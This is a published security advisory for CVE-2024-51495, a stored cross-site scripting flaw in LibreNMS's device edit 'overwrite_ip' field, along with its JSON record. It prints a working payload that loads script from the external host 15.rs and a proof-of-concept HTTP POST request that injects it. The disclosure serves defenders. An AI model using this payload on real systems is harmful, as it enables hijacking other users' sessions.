ghsa-p66q-ppwr-q5j8
Vulnerability from github
Published
2024-11-15 15:44
Modified
2024-11-15 20:50
Summary
LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/dev-overview-data.inc.php
Details

Summary

A Stored Cross-Site Scripting (XSS) vulnerability in the Device Overview page allows authenticated users to inject arbitrary JavaScript through the "overwrite_ip" parameter when editing a device. This vulnerability results in the execution of malicious code when the device overview page is visited, potentially compromising the accounts of other users.

Details

The vulnerability occurs when editing a device. An attacker can inject arbitrary JavaScript into the "overwrite_ip" parameter. This malicious script is then executed in the "Assigned IP" field when the device overview page is loaded.

The payload used to exploit this vulnerability is: test'"><script src=//15.rs></script>

Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.

The root cause of this vulnerability is the application's failure to properly sanitize the "overwrite_ip" value before including it in the HTML output. This is evident in the following line of code:

https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/dev-overview-data.inc.php#L42

PoC

  1. Edit a device and use the following payload in the "overwrite_ip" parameter: test'"><script src=//15.rs></script>
  2. Save the changes.
  3. Navigate to the device overview page.
  4. Observe that the injected script executes in the "Assigned IP" field.

```http POST /device/14/edit HTTP/1.1 Host: Content-Type: application/x-www-form-urlencoded Cookie:

_token=&editing=yes&display=&overwrite_ip=test'">&descr=&type=&parent_id%5B%5D=15&Submit= ```

Impact

This vulnerability allows authenticated users to execute arbitrary JavaScript code in the context of other users' sessions. Compromised accounts could lead to unauthorized actions being taken on behalf of the impacted users.

Show details on source website


{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 24.9.1"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "librenms/librenms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "24.10.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-51495"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-11-15T15:44:27Z",
    "nvd_published_at": "2024-11-15T16:15:37Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA Stored Cross-Site Scripting (XSS) vulnerability in the Device Overview page allows authenticated users to inject arbitrary JavaScript through the \"overwrite_ip\" parameter when editing a device. This vulnerability results in the execution of malicious code when the device overview page is visited, potentially compromising the accounts of other users.\n\n### Details\n\nThe vulnerability occurs when editing a device. An attacker can inject arbitrary JavaScript into the \"overwrite_ip\" parameter. This malicious script is then executed in the \"Assigned IP\" field when the device overview page is loaded.\n\nThe payload used to exploit this vulnerability is: `test\u0027\"\u003e\u003cscript src=//15.rs\u003e\u003c/script\u003e`\n\nNote: The payload uses the \"15.rs\" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.\n\nThe root cause of this vulnerability is the application\u0027s failure to properly sanitize the \"overwrite_ip\" value before including it in the HTML output. This is evident in the following line of code:\n\nhttps://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/dev-overview-data.inc.php#L42\n\n### PoC\n\n1. Edit a device and use the following payload in the \"overwrite_ip\" parameter: `test\u0027\"\u003e\u003cscript src=//15.rs\u003e\u003c/script\u003e`\n2. Save the changes.\n3. Navigate to the device overview page.\n4. Observe that the injected script executes in the \"Assigned IP\" field.\n\n```http\nPOST /device/14/edit HTTP/1.1\nHost: \u003cyour_host\u003e\nContent-Type: application/x-www-form-urlencoded\nCookie: \u003cyour_cookie\u003e\n\n_token=\u003cyour_token\u003e\u0026editing=yes\u0026display=\u0026overwrite_ip=test\u0027\"\u003e\u003cscript+src=//15.rs\u003e\u003c/script\u003e\u0026descr=\u0026type=\u0026parent_id%5B%5D=15\u0026Submit=\n```\n\n### Impact\n\nThis vulnerability allows authenticated users to execute arbitrary JavaScript code in the context of other users\u0027 sessions. Compromised accounts could lead to unauthorized actions being taken on behalf of the impacted users.",
  "id": "GHSA-p66q-ppwr-q5j8",
  "modified": "2024-11-15T20:50:17Z",
  "published": "2024-11-15T15:44:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/librenms/librenms/security/advisories/GHSA-p66q-ppwr-q5j8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51495"
    },
    {
      "type": "WEB",
      "url": "https://github.com/librenms/librenms/commit/4568188ce9097a2e3a3b563311077f2bb82455c0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/librenms/librenms"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LibreNMS has a Stored XSS (\u0027Cross-site Scripting\u0027) in librenms/includes/html/dev-overview-data.inc.php"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.